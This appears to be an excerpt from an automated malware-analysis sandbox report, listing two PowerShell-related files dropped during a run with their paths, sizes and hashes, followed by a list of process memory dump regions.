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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 e44eb85f94c07097fd368460d71e32b3bd6f09dc3e61a987d776e9bb666f90a6
MD5 6dbc9caf546bb27a68632217ca4d92af
SHA1 65f6e884282ad935bdad97d358ab86cecb384bf9
SHA512 d80e40bbe8cc6d3e9f3b15d58e599b397f4267dbea9fd023825ab3127e632bbba95d6d0729e9032a6aba5df7f000ffe6ae09c2aa10fc39cd8c2ff3d26223154f
TLSH
T125116633F3CC8664DD59413650DEAC1136B68BCB44DECE9B7B84D154B43F685CE61160
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_ghhkzcgz.wax.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ghhkzcgz.wax.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/1540-5-0x000002403FCF0000-0x000002403FD12000-memory.dmp

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memory/3024-0-0x0000000074D32000-0x0000000074D33000-memory.dmp

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memory/3024-1-0x0000000000F90000-0x0000000000FAC000-memory.dmp

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memory/3024-2-0x0000000074D20000-0x00000000754DC000-memory.dmp

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memory/3024-10-0x0000000074D32000-0x0000000074D33000-memory.dmp

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memory/3024-11-0x0000000074D20000-0x00000000754DC000-memory.dmp

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memory/4140-8-0x0000016959970000-0x00000169599B8000-memory.dmp

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